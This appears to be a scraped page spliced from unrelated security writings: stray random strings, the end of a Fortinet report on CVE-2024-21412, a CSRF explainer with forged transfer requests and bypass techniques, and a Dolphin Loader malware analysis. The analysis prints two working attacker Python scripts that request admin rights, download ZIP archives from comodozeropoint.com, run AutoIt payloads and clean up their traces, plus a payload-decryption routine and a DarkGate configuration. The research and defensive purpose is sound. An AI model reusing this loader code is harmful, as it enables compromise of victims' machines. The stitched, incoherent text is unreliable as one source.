loinekcabhlmhjjbocijdoimmejangoa
nebnhfamliijlghikdgcigoebonmoibm
anokgmphncpekkhclmingpimjmcooifb
fcfcfllfndlomdhbehjjcoimbgofdncg
cnncmdhjacpkmjmkcafchppbnpnhdmon
ojggmchlghnjlapmfbnjholfjkiidbch
mkpegjkblkkefacfnmkajcjmabijhclg
Conclusion
This campaign primarily targets CVE-2024-21412 to spread LNK files for downloading execution files that embed HTA script code within their overlays. The HTA script runs silently, avoiding any pop-up windows, and clandestinely downloads two files: a decoy PDF and an execution file designed to inject shell code, setting the stage for the final stealers.
To mitigate such threats, organizations must educate their users about the dangers of downloading and running files from unverified sources. Continuous innovation by threat actors necessitates a robust and proactive cybersecurity strategy to protect against sophisticated attack vectors. Proactive measures, user awareness, and stringent security protocols are vital components in safeguarding an organization’s digital assets.
Fortinet Protections
The malware described in this report is detected and blocked by FortiGuard Antivirus:
FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.
The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.
FortiGuard Labs provides IPS signature against attacks exploiting CVE-2024-21412:
We also suggest that organizations go through Fortinet’s free NSE training module: NSE 1 – Information Security Awareness. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.
FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.
If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.
Cross-Site Request Forgery (CSRF) is a serious web security vulnerability that allows attackers to exploit active sessions of targeted users to perform privileged actions on their behalf. Depending on the relevancy of the action and the permissions of the targeted user, a successful CSRF attack may result in anything from minor integrity impacts to a complete compromise of the application.
CSRF attacks can be delivered in various ways, and there are multiple defenses against them. At the same time, there are also many misconceptions surrounding this type of attack. Despite being a well-known vulnerability, there’s a growing tendency to rely too heavily on automated solutions and privacy-enhancing defaults in modern browsers to detect and prevent this issue. While these methods can mitigate exploitation in some cases, they can foster a false sense of security and don’t always fully address the problem.
It’s time to shatter the uncertainties surrounding CSRF once and for all. We’ll outline its fundamentals, attack methods, defense strategies, and common misconceptions – all with accompanied examples.
Cross-Site Request Forgery simplified
CSRF allows adversary-issued actions to be performed by an authenticated victim. A common example, given no implemented controls, involves you being logged into your bank account and then visiting an attacker-controlled website. Without your knowledge, this website submits a request to transfer funds from your account to the attacker’s using a hidden form.
Because you’re logged in on the bank application, the request is authenticated. This happens because the attacker crafted a request that appeared to originate from your browser, which automatically included your authentication credentials.
Assume that the simplified request below is sent when a fund transfer is made to an intended recipient:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]
amount=100&toUser=intended
To forge this request, an attacker would host the following HTML on their page:
This creates a hidden form on the attacker’s page. When visited by an authenticated victim, it triggers the victim’s browser to issue the request below with their session cookie, resulting in an unintended transfer to the attacker’s account:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token> (automatically included by the browser)
[...]
amount=5000&toUser=attacker
For this scenario to be possible, two conditions must be met:
1. The attacker must be able to determine all parameters and their corresponding values that are needed to perform a sensitive action. In the above scenario, only two are present: “amount” and “toUser”. An attacker can easily determine these by, for example, observing a legitimate outgoing request from their own account. The parameters’ values cannot hence be set to something unknown or unpredictable.
2. The victim’s browser must automatically include their authentication credentials. In our scenario, the bank application maintains an authenticated state using the “session” cookie. Controlling flags can be set on cookies to prevent them from being automatically included by requests issued cross-site, but more on this later.
This is the entire foundation for CSRF vulnerabilities. In a real-world scenario, performing sensitive actions would most likely not be possible with a request this simplified, as various defenses can prevent any or both conditions from being met.
CSRF defenses and bypasses
Understanding the two necessary conditions for CSRF, we can explore the most common defenses and how these can be circumvented if implemented incorrectly.
CSRF tokens
CSRF tokens are a purposeful defense aimed at preventing the condition of predictability. A CSRF token is simply an unpredictable value, tied to the user’s session, that is included in the request to validate an action – a value not known to the attacker.
Added to our fund transfer request, it would look as follows:
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]
amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024
Already here, we can get an implementation fault out of the way:
Fault 1
If a security control relies on a value that is intended to be unknown to attackers, then proper measures are required to prevent disclosing the value, as well as to stop attackers from deducing or brute-forcing it.
To ensure the token’s unpredictability, it must be securely generated with sufficient entropy.
Primarily, an application transmits CSRF tokens in two ways: synchronizer token patterns and double-submit cookie patterns.
Synchronizer token patterns
In a synchronized token pattern, the server generates a CSRF token and shares it with the client before returning it, usually through a hidden form parameter for the associated action, such as:
On form submission, the server checks the CSRF token against one stored in the user’s session. If they match, the request is approved; otherwise, it’s rejected.
Fault 2
Failing to validate the CSRF token received from the client against the expected token stored in the user’s session enables an attacker to use a valid token from their own account to approve the request.
Observation
Keep in mind that even if the token is securely generated and validated, having it within the HTML document will leave it accessible to cross-site scripting and other vulnerabilities that can exfiltrate parts of the document, such as dangling markup and CSS injection.
If it’s also returned to the server as a request parameter, as in the example above, then an exfiltrated token can be easily added to a forged request. To prevent this, CSRF tokens can be returned as custom request headers.
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
X-ANTI-CSRF:o24b65486f506e2cd4403caf0d640024
[...]
amount=100&toUser=intended
This way, it will not be possible to send them cross-origin without a permissive CORS implementation. This is thanks to the same-origin policy, which prevents browsers from sending custom headers cross-origin.
Nonetheless, this method is uncommon, as it restricts the application to sending CSRF protected requests using AJAX.
Double-submit cookie patterns
In a double-submit cookie pattern, the server generates the token and sends it to the client in a cookie. Then the server only needs to verify that its value matches one sent in either a request parameter or header. This process is stateless, as the server doesn’t need to store any information about the CSRF token.
POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>; anti-csrf=o24b65486f506e2cd4403caf0d640024
[...]
amount=100&toUser=intended&csrf=o24b65486f506e2cd4403caf0d640024
Fault 3
The issue arises when an attacker can overwrite the cookie value with their own, for example, through a response header injection or a taken-over subdomain. This allows them to use their own value in the token sent amongst the request parameters.
To mitigate this, it’s recommended to cryptographically sign the CSRF token using a secret known only to the server. This implementation is referred to as a signed double-submit cookie.
SameSite cookies
SameSite is an attribute that can be set on cookies to control how they are sent with cross-site requests. The values that the attribute can be given are ‘Strict’, ‘Lax’ and ‘None’.
When the SameSite attribute is set to ‘Strict’, the browser will only send the cookie for same-site requests. This means that the cookie will not be sent along with requests initiated from a different site, preventing our second CSRF condition: the victim’s browser automatically including their authentication credentials.
Figure 1 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ setting
The only way around this would be if the attacker could somehow get the application to trigger a forged request to itself.
Fault 4
Consider that the application features some JavaScript for initiating client-side requests, such as a redirect that also accepts user input to determine its location. If an attacker could supply a URL with a state-changing action to this feature, the state-changing action would be sent within the same-site context, as it would be redirected from the application itself.
Figure 2 – adversary-issued action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Strict’ settingFigure 3 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as the action was sent within the same-site context via the client-side redirect
As demonstrated in figures 2-3, delivering the state-changing action directly to the victim results in the request being denied. However, including the action within a client-side redirect beforehand bypasses the protection offered by ‘SameSite=Strict’ cookies. Be cautious of client-side features like this in your codebase. It’s also not impossible that these may directly include CSRF tokens, rendering even synchronizer-token defenses ineffective.
To emphasize, this only works with client-side / DOM-based redirects. A state-changing action passed through a traditional 302 server-side redirect with a set “Location” header wouldn’t be treated as same-site. Welcome to the era of “client-side CSRF”.
Observation
What if the application lacks abusable client-side code but is vulnerable to direct JavaScript injection, meaning there is a cross-site scripting (XSS) vulnerability?
I’ve seen multiple claimed “XSS to CSRF” chains and scenarios, often implying that the former enables the latter, but this is incorrect.
If an attacker has control over the JavaScript, then they also have control over same-site request sending. This means that any forged requests via an XSS vulnerability will result in these requests originating from the application. Cross-site request sending at this point is not needed nor enabled.
Being vulnerable to XSS is a bigger problem.
Even with synchronizer tokens in place, an attacker can use the injected JavaScript to simply read the tokens and use them in same-site AJAX requests.
Keep in mind that although the targeted application is free from abusable client-side code and XSS vulnerabilities, these issues can still exist on subdomains and different ports. Requests from these sources will be same-site even though they are not same-origin.
Lax
When the SameSite attribute is set to Lax, the browser will send the cookie for same-site requests and cross-site requests that are considered “safe”. These are GET requests initiated by a user’s top-level navigation (e.g., clicking on a hyperlink). The cookie will not be sent for cross-site requests initiated by third-party sites, such as POST requests via AJAX.
This means that similarly to ‘Strict’, ‘Lax’ would also deny the following scenario:
Figure 4 – adversary-issued POST action denied; the session cookie wasn’t automatically included by the victim’s browser thanks to the ‘SameSite=Lax’ setting
But, in contrast, it would allow:
Figure 5 – adversary-issued action permitted; the session cookie was automatically included by the victim’s browser, as it was a GET request initiated by a user’s top-level navigation
Fault 5
As with ‘Strict’, we must be cautious of all client-side JavaScript functionalities, but also any state-changing actions that can be performed via the GET request method. During testing, we find it common that the request method can simply be rewritten into a GET from a POST, rendering any ‘SameSite=Lax’ protections ineffective, provided that no other CSRF defenses are in place.
The “Lax + POST” intervention
Chrome automatically sets the SameSite attribute to ‘Lax’ for cookies that don’t have this attribute explicitly defined. Compared to a manually set ‘Lax’ value, Chrome’s defaulting to ‘Lax’ comes with temporary exception: a two-minute time window where cross-site POST requests are permitted. This intervention is to account for some POST-based login flows, such as certain single sign-on implementations.
Fault 6
If both the attacker and the targeted victim act quickly on a “Lax + POST” intervention, exploitation becomes possible within this brief time window.
A more realistic scenario, however, would be if the attacker somehow could force the application to first issue the victim a new cookie, renewing the two-minute window, and then incorporating the renewal into a regular cross-site POST exploit.
None
Setting the SameSite attribute to ‘None’ allows the cookie to be sent with all requests, including cross-site requests. While there are valid reasons to set a ‘None’ value, protecting against CSRF attacks is not one of them. Exercise caution when using ‘None’ values in this context.
Note that for ‘None’ to be explicitly set, the secure attribute must also be set on the cookie.
A few days ago I was looking at the sample from Dolphin Loader and couldn’t understand for awhile how it was able to retrieve the final payload because the payload was not able to fully complete the execution chain. Recently someone sent me a fresh working sample, so I had a little “hell yeah!” moment.
Before looking into the abuse of ITarian RMM software, we should talk a little bit about Dolphin Loader.
Dolphin Loader is a new Malware-as-a-Service loader that first went on sale in July 2024 on Telegram. The loader has been observed to deliver various malware such as SectopRAT, LummaC2 and Redline via drive-by downloads.
The Dolphin Loader claims to bypass SmartScreen because it is signed with an EV (Extended Validation) certificate, Chrome alert and EDR. The seller also offers EasyCrypt services for LummaC2 Stealer users. EasyCrypt, also known as EasyCrypter, is a crypter service sold on Telegram for x86 .NET/Native files. I previously wrote a Yara rule for the crypter for UnprotectProject, which you can access here.
The loader has the following pricing:
3 slots MSI (Weekly access) – $1800
2 slots MSI (Monthly access) – $5400
1 slot EXE (Monthly access) – $7200
The executable files are highly priced compared to MSI packaging files. What makes executable file more attractive is likely that executable files can be easily packed and compressed compared to MSI files and that users are more accustomed to executable files. The familiarity can make users more likely to trust and execute an an executable file, even if it is from an untrusted source. Also, executables files are standalone and can be executed directly without requiring any additional software or scripts.
Some of the Dolphin Loader payloads currently have zero detections on VirusTotal. Why? Because it uses legitimate, EV-signed remote management software to deliver the final payload. This approach is very convenient for the loader’s developer because it eliminates the need to obtain an EV certificate and end up paying a significant amount of money out-of-pocket. Leveraging legitimate RMM software to deliver malware also offers numerous advantages:
Since RMM tools are meant to run quietly in the background because they monitor and manage systems, malware leveraging these tools can operate stealthily, avoiding detection by users.
RMM tools already include features for remote command or script execution, system monitoring, and data exfiltration. Attackers can use these built-in functionalities to control compromised systems.
Organizations trust their RMM solutions for IT operations. This trust can be exploited by attackers to deliver malware without raising immediate suspicion from users or IT staff.
The Abuse of ITarian RMM
Initially I was going with the theory of the DLL side-loading with the MSI payload (MD5: a2b4081e6ac9d7ff9e892494c58d6be1) and specifically with the ITarian agent but had no luck of finding the tampered file. So, the second theory is that the loader is leveraging an RMM software based on the process tree from one of the public samples.
So, the sample provided to me, helped to confirm the second theory because the threat actor used the same name richardmilliestpe for the MSI payload distribution link and for the RMM instance:
Distribution link: hxxps://houseofgoodtones.org/richardmilliestpe/Aunteficator_em_BHdAOse8_installer_Win7-Win11_x86_x64[.]msi
Out of curiosity, I decided to get the ITarian RMM, which is available for free but with limited functionalities (just the one that we need 🙂 ). We are particularly interested in Procedures. In ITarian endpoint management you can create a custom procedure to run on the registered devices.
Then you can leverage Windows Script Procedure option to create a custom script. The purpose of my script was to pop the calculator up. Based from my observation, the script can only be written in Python. I did not see the PowerShell option available but you can leverage Python to run PowerShell scripts.
You can then configure when you would want the script to run – one time, daily, weekly or monthly. The “Run this procedure immediately when the profile is assigned to a new device” option is likely what the threat actor had.
After setting the script up successfully and assigning it to the proper group or customer, I went ahead and retrieved the link to download an MSI installer for ITarian RMM client via device enrollment option.
The downloaded MSI file would be approximately 96MB in size and the naming convention would be similar to the following, where “raeaESpJ” is the token value:
em_raeaESpJ_installer_Win7-Win11_x86_x64
After the successful installation of the software, the dependencies and files will be dropped under either C:\Program Files (x86)\ITarian or C:\Program Files\COMODO, the token.ini file (the file is deleted after successfully retrieving the instance address) contains the token value that the client will use to obtain the instance address, for example zeus14-msp.itsm-us1.comodo.com (from the testing case above).
For blue teamers while looking for suspicious activities for ITarian RMM client, you should look for the contents of the RmmService.log file under ITarian\Endpoint Manager\rmmlogs or COMODO\Endpoint Manager\rmmlogs. The log file would provide great insights into what procedures or scripts were ran on the host and their configurations.
From the screenshot above we can see the repeat: NEVER, which means that the script will only run one time when the endpoint device is enrolled.
Now let’s inspect the log file from our malicious sample. We can see two scripts present.
The first script is named “st3”, executes only once – when the device is first registered.
msgScheduledTaskList {
scheduledTaskId: "scheduled_5"
msgSchedule {
repeat: NEVER
start: 1723161600
time: "17:15"
}
msgProcedureSet {
procedureSetId: "473"
alertHandlerId: "1"
msgProcedureList {
procedureId: "473"
pluginType: Python_Procedure
msgProcedureRule {
name: "st3"
script: "import os\nimport urllib\nimport zipfile\nimport subprocess\nimport time\nimport shutil\nimport ctypes\nimport sys\n\nclass disable_file_system_redirection:\n _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n def __enter__(self):\n self.old_value = ctypes.c_long()\n self.success = self._disable(ctypes.byref(self.old_value))\n\n def __exit__(self, type, value, traceback):\n if self.success:\n self._revert(self.old_value)\n\ndef is_admin():\n try:\n return ctypes.windll.shell32.IsUserAnAdmin()\n except:\n return False\n\ndef run_as_admin(command, params):\n try:\n if not is_admin():\n # Restart the script with admin rights\n params = \' \'.join(params)\n print(\"Restarting script with admin rights...\")\n ctypes.windll.shell32.ShellExecuteW(None, \"runas\", command, params, None, 1)\n sys.exit(0)\n else:\n print(\"Running command with admin rights:\", command, params)\n result = subprocess.call([command] + params, shell=True)\n if result != 0:\n print(\"Command failed with return code:\", result)\n else:\n print(\"Command executed successfully.\")\n except Exception as e:\n print(\"Failed to elevate to admin. Error:\", e)\n sys.exit(1)\n\ndef download_file(url, save_path):\n try:\n request = urllib.urlopen(url)\n with open(save_path, \'wb\') as f:\n while True:\n chunk = request.read(100 * 1000 * 1000)\n if not chunk:\n break\n f.write(chunk)\n print(\"File downloaded successfully and saved to {}.\".format(save_path))\n # Check file size\n file_size = os.path.getsize(save_path)\n print(\"Downloaded file size: {} bytes.\".format(file_size))\n except Exception as e:\n print(\"Error downloading file: \", e)\n sys.exit(1)\n\ndef unzip_file(zip_path, extract_to):\n try:\n with disable_file_system_redirection():\n with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n zip_ref.extractall(extract_to)\n print(\"File extracted successfully to {}\".format(extract_to))\n except zipfile.BadZipFile:\n print(\"File is not a valid zip file\")\n except Exception as e:\n print(\"Error extracting file: \", e)\n sys.exit(1)\n\ndef cleanup(file_path, folder_path):\n try:\n if os.path.exists(file_path):\n os.remove(file_path)\n print(\"Removed file: {}\".format(file_path))\n if os.path.exists(folder_path):\n shutil.rmtree(folder_path)\n print(\"Removed folder: {}\".format(folder_path))\n except Exception as e:\n print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n command = sys.executable\n params = sys.argv\n\n run_as_admin(command, params)\n\n zip_url = \'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip\'\n zip_filename = os.path.basename(zip_url)\n folder_name = os.path.splitext(zip_filename)[0]\n\n temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n extract_to = temp_folder\n\n if not os.path.exists(os.environ[\'TEMP\']):\n os.makedirs(os.environ[\'TEMP\'])\n\n print(\"Downloading file...\")\n download_file(zip_url, zip_path)\n\n if os.path.exists(zip_path):\n print(\"File exists after download.\")\n else:\n print(\"File did not download successfully.\")\n exit()\n\n if not os.path.exists(extract_to):\n os.makedirs(extract_to)\n\n print(\"Extracting file...\")\n unzip_file(zip_path, extract_to)\n\n # \331\205\330\263\333\214\330\261 \332\251\330\247\331\205\331\204 \330\250\331\207 AutoIt3.exe \331\210 script.a3x \331\276\330\263 \330\247\330\262 \330\247\330\263\330\252\330\256\330\261\330\247\330\254\n autoit_path = os.path.join(extract_to, \'AutoIt3.exe\')\n script_path = os.path.join(extract_to, \'script.a3x\')\n\n print(\"Running command...\")\n if os.path.exists(autoit_path) and os.path.exists(script_path):\n run_as_admin(autoit_path, [script_path])\n else:\n print(\"Error: AutoIt3.exe or script.a3x not found after extraction.\")\n\n time.sleep(60)\n\n print(\"Cleaning up...\")\n cleanup(zip_path, extract_to)\n\n print(\"Done\")\n"
launcherId: 0
runner {
type: LOGGED_IN
}
profileId: 53
isHiddenUser: false
}
}
}
runOnProfileApply: true
requiredInternet: false
procedureType: SCHEDULED
endTimeSettings {
type: UNTILL_MAINTENANCE_WINDOW_END
value: 0
}
}
We will quickly clean up the script:
import os
import urllib
import zipfile
import subprocess
import time
import shutil
import ctypes
import sys
classDisableFileSystemRedirection:
_disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
_revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection
def__enter__(self):
self.old_value = ctypes.c_long()
self.success = self._disable(ctypes.byref(self.old_value))
def__exit__(self, type, value, traceback):
if self.success:
self._revert(self.old_value)
defis_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except Exception:
return False
defrun_as_admin(command, params):
try:
ifnot is_admin():
print("Restarting script with admin rights...")
params = ' '.join(params)
ctypes.windll.shell32.ShellExecuteW(None, "runas", command, params, None, 1)
sys.exit(0)
else:
print("Running command with admin rights:", command, params)
result = subprocess.call([command] + params, shell=True)
if result != 0:
print("Command failed with return code:", result)
else:
print("Command executed successfully.")
except Exception as e:
print("Failed to elevate to admin. Error:", e)
sys.exit(1)
defdownload_file(url, save_path):
try:
request = urllib.urlopen(url)
with open(save_path, 'wb') as f:
while True:
chunk = request.read(100 * 1000 * 1000) # 100 MB chunks
ifnot chunk:
break
f.write(chunk)
print("File downloaded successfully and saved to {}.".format(save_path))
file_size = os.path.getsize(save_path)
print("Downloaded file size: {} bytes.".format(file_size))
except Exception as e:
print("Error downloading file:", e)
sys.exit(1)
defunzip_file(zip_path, extract_to):
try:
with DisableFileSystemRedirection():
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
print("File extracted successfully to {}".format(extract_to))
except zipfile.BadZipFile:
print("File is not a valid zip file")
except Exception as e:
print("Error extracting file:", e)
sys.exit(1)
defcleanup(file_path, folder_path):
try:
if os.path.exists(file_path):
os.remove(file_path)
print("Removed file: {}".format(file_path))
if os.path.exists(folder_path):
shutil.rmtree(folder_path)
print("Removed folder: {}".format(folder_path))
except Exception as e:
print("Error during cleanup:", e)
if __name__ == "__main__":
command = sys.executable
params = sys.argv
run_as_admin(command, params)
zip_url = 'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip'
zip_filename = os.path.basename(zip_url)
folder_name = os.path.splitext(zip_filename)[0]
temp_folder = os.path.join(os.environ['TEMP'], folder_name)
zip_path = os.path.join(os.environ['TEMP'], zip_filename)
extract_to = temp_folder
ifnot os.path.exists(os.environ['TEMP']):
os.makedirs(os.environ['TEMP'])
print("Downloading file...")
download_file(zip_url, zip_path)
if os.path.exists(zip_path):
print("File exists after download.")
else:
print("File did not download successfully.")
exit()
ifnot os.path.exists(extract_to):
os.makedirs(extract_to)
print("Extracting file...")
unzip_file(zip_path, extract_to)
autoit_path = os.path.join(extract_to, 'AutoIt3.exe')
script_path = os.path.join(extract_to, 'script.a3x')
print("Running command...")
if os.path.exists(autoit_path) and os.path.exists(script_path):
run_as_admin(autoit_path, [script_path])
else:
print("Error: AutoIt3.exe or script.a3x not found after extraction.")
time.sleep(60)
print("Cleaning up...")
cleanup(zip_path, extract_to)
print("Done")
From the script above we can observe the following:
The script initially checks if it is executing with administrative privileges by utilizing the IsUserAnAdmin() function from the Windows API. If it detects that it is running without these privileges, it attempts to restart itself with elevated rights. This elevation process is achieved by invoking the ShellExecuteW function from the Windows Shell API, using the “runas”. This prompts the User Account Control (UAC) to ask the user for permission to run the script as an administrator.
The script retrieves a ZIP archive from comodozeropoint.com/Updates/1736162964/23/Salome[.]zip, extracts the content of the archive (an AutoIt executable and the malicious script name script.a3x) under the %TEMP% folder and executes an AutoIt file. We will look at the obfuscation of the AutoIt scripts later in this blog.
After the execution of the AutoIt file, the script sleeps for a minute before removing the ZIP archive and the extracted files.
The content of the second is the following, note that the name of the procedure is “Dolphin1” and the procedure is repeated on a daily basis:
msgScheduledTaskList {
scheduledTaskId: "scheduled_6"
msgSchedule {
repeat: DAILY
start: 1723334400
time: "20:30"
}
msgProcedureSet {
procedureSetId: "475"
alertHandlerId: "1"
msgProcedureList {
procedureId: "475"
pluginType: Python_Procedure
msgProcedureRule {
name: "Dolphin1"
script: "import os\nimport urllib2\nimport zipfile\nimport subprocess\nimport shutil\nimport ctypes\nimport time\n\nclass disable_file_system_redirection:\n _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n def __enter__(self):\n self.old_value = ctypes.c_long()\n self.success = self._disable(ctypes.byref(self.old_value))\n\n def __exit__(self, type, value, traceback):\n if self.success:\n self._revert(self.old_value)\n\ndef download_file(url, save_path):\n try:\n headers = {\'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\'}\n request = urllib2.Request(url, headers=headers)\n response = urllib2.urlopen(request)\n with open(save_path, \'wb\') as f:\n f.write(response.read())\n print(\"File downloaded successfully.\")\n except urllib2.HTTPError as e:\n print(\"HTTP Error: \", e.code)\n except urllib2.URLError as e:\n print(\"URL Error: \", e.reason)\n except Exception as e:\n print(\"Error downloading file: \", e)\n\ndef unzip_file(zip_path, extract_to):\n try:\n with disable_file_system_redirection():\n with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n zip_ref.extractall(extract_to)\n print(\"File extracted successfully.\")\n except zipfile.BadZipfile:\n print(\"File is not a zip file\")\n except Exception as e:\n print(\"Error extracting file: \", e)\n\ndef run_command(command, cwd):\n try:\n proc = subprocess.Popen(command, shell=True, cwd=cwd)\n proc.communicate()\n except Exception as e:\n print(\"Error running command: \", e)\n\ndef cleanup(file_path, folder_path):\n try:\n if os.path.exists(file_path):\n os.remove(file_path)\n if os.path.exists(folder_path):\n shutil.rmtree(folder_path)\n except Exception as e:\n print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n zip_url = \'http://comodozeropoint.com/Requests/api/Core.zip\'\n zip_filename = os.path.basename(zip_url)\n folder_name = os.path.splitext(zip_filename)[0]\n\n temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n extract_to = temp_folder\n\n if not os.path.exists(os.environ[\'TEMP\']):\n os.makedirs(os.environ[\'TEMP\'])\n\n print(\"Downloading file...\")\n download_file(zip_url, zip_path)\n\n if os.path.exists(zip_path):\n print(\"File downloaded successfully.\")\n else:\n print(\"File did not download successfully.\")\n exit()\n\n if not os.path.exists(extract_to):\n os.makedirs(extract_to)\n\n print(\"Extracting file...\")\n unzip_file(zip_path, extract_to)\n\n print(\"Running command...\")\n command = \'AutoIt3.exe script.a3x\'\n run_command(command, extract_to)\n\n print(\"Waiting for 1 minute before cleanup...\")\n time.sleep(60)\n\n print(\"Cleaning up...\")\n cleanup(zip_path, extract_to)\n\n print(\"Done\")\n"
launcherId: 0
runner {
type: LOGGED_IN
}
profileId: 53
isHiddenUser: false
}
}
}
runOnProfileApply: false
requiredInternet: true
procedureType: SCHEDULED
endTimeSettings {
type: UNTILL_MAINTENANCE_WINDOW_END
value: 0
}
}
The cleaned-up Python script:
import os
import urllib.request
import zipfile
import subprocess
import shutil
import ctypes
import time
classFileSystemRedirection:
_disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
_revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection
def__enter__(self):
self.old_value = ctypes.c_long()
self.success = self._disable(ctypes.byref(self.old_value))
return self.success
def__exit__(self, type, value, traceback):
if self.success:
self._revert(self.old_value)
defdownload_file(url, save_path):
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
}
request = urllib.request.Request(url, headers=headers)
response = urllib.request.urlopen(request)
with open(save_path, 'wb') as f:
f.write(response.read())
print("File downloaded successfully.")
except urllib.error.HTTPError as e:
print("HTTP Error:", e.code)
except urllib.error.URLError as e:
print("URL Error:", e.reason)
except Exception as e:
print("Error downloading file:", e)
defunzip_file(zip_path, extract_to):
try:
with FileSystemRedirection():
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
print("File extracted successfully.")
except zipfile.BadZipFile:
print("File is not a zip file")
except Exception as e:
print("Error extracting file:", e)
defrun_command(command, cwd):
try:
proc = subprocess.Popen(command, shell=True, cwd=cwd)
proc.communicate()
except Exception as e:
print("Error running command:", e)
defcleanup(file_path, folder_path):
try:
if os.path.exists(file_path):
os.remove(file_path)
if os.path.exists(folder_path):
shutil.rmtree(folder_path)
except Exception as e:
print("Error during cleanup:", e)
if __name__ == "__main__":
zip_url = 'http://comodozeropoint.com/Requests/api/Core.zip'
zip_filename = os.path.basename(zip_url)
folder_name = os.path.splitext(zip_filename)[0]
temp_folder = os.path.join(os.environ['TEMP'], folder_name)
zip_path = os.path.join(os.environ['TEMP'], zip_filename)
extract_to = temp_folder
ifnot os.path.exists(os.environ['TEMP']):
os.makedirs(os.environ['TEMP'])
print("Downloading file...")
download_file(zip_url, zip_path)
if os.path.exists(zip_path):
print("File downloaded successfully.")
else:
print("File did not download successfully.")
exit()
ifnot os.path.exists(extract_to):
os.makedirs(extract_to)
print("Extracting file...")
unzip_file(zip_path, extract_to)
print("Running command...")
command = 'AutoIt3.exe script.a3x'
run_command(command, extract_to)
print("Waiting for 1 minute before cleanup...")
time.sleep(60)
print("Cleaning up...")
cleanup(zip_path, extract_to)
print("Done")
This script differs from the initial Python script by constructing an HTTP request with an explicitly set User-Agent header, and it retrieves a ZIP archive that is different from the first Python script.
While I was researching the commands sent to the RMM server, I stumbled upon TrendMicro blog that mentioned the RMM abuse.
AutoIt Analysis
Extracting the Salome.zip file, we notice a malicious AutoIt script named “script.a3x” and the AutoIt executable. Using AutoIt script decompiler, we can get the insight into what the script is actually doing.
The encrypt function shown in the screenshot above takes a hexadecimal string and a key wkxltyejh, and decrypts the data using a custom method (I know, the function name is deceiving). It begins by converting the hex string into binary data. Then, it computes an altered key by XORing the ordinal value of each character in the key with the key’s length. The altered key is then used to decrypt the binary data byte by byte, so each byte of the data is XORed with the altered key, and then bitwise NOT is then applied to invert the bits.
The decrypted strings are responsible for changing the protection on a region of memory to PAGE_EXECUTE_READWRITE and loading the payload into the memory. The script also leverages the EnumWindows callback function thanks to DllCall function, which allows the script to interact directly with Windows DLL, to execute malicious code, using a function pointer that directs to the payload.
One of the payloads extracted from the AutoIt script is DarkGate. The XOR key wkxltyejh is also used as a marker to split up the DarkGate loader, the final payload (SectopRAT) and the DarkGate encrypted configuration. Interestingly enough, the DarkGate configuration is not encoded with custom-base64 alphabet like in the previous samples and is rather encrypted with the XOR algorithm described above.
Here is the Python script to decrypt the data:
defdecrypt(data, key):
value = bytes.fromhex(data)
key_length = len(key)
encrypted = bytearray()
key_alt = key_length
for char in key:
key_alt = key_alt ^ ord(char)
for byte in value:
encrypted_byte =~(byte ^ key_alt) & 0xFF
encrypted.append(encrypted_byte)
return encrypted
enc_data = "" # Encrypted data
enc_key = "" # XOR key
dec_data = decrypt(enc_data, enc_key)
print(f"Decrypted data: {dec_data}")
The DarkGate configuration:
2=RrZBXNXw - xor key
0=Dolphin2 - campaign ID
1=Yes - Process Hollowing injection enabled
3=Yes - PE injection (MicrosoftEdgeUpdate or msbuild.exe) (0041A9A8)
5=No - process injection via Process Hollowing with nCmdShow set to SW_HIDE
6=No - pesistence via registry run key
7=No - VM check (1)
8=No - VM check (2)
9=No - Check Disk Space
10=100 - minimum disk size
11=No - Check RAM
12=4096 - minimum RAM size
13=No - check Xeon
14=This is optional
15=Yes
16=No
18=Yes
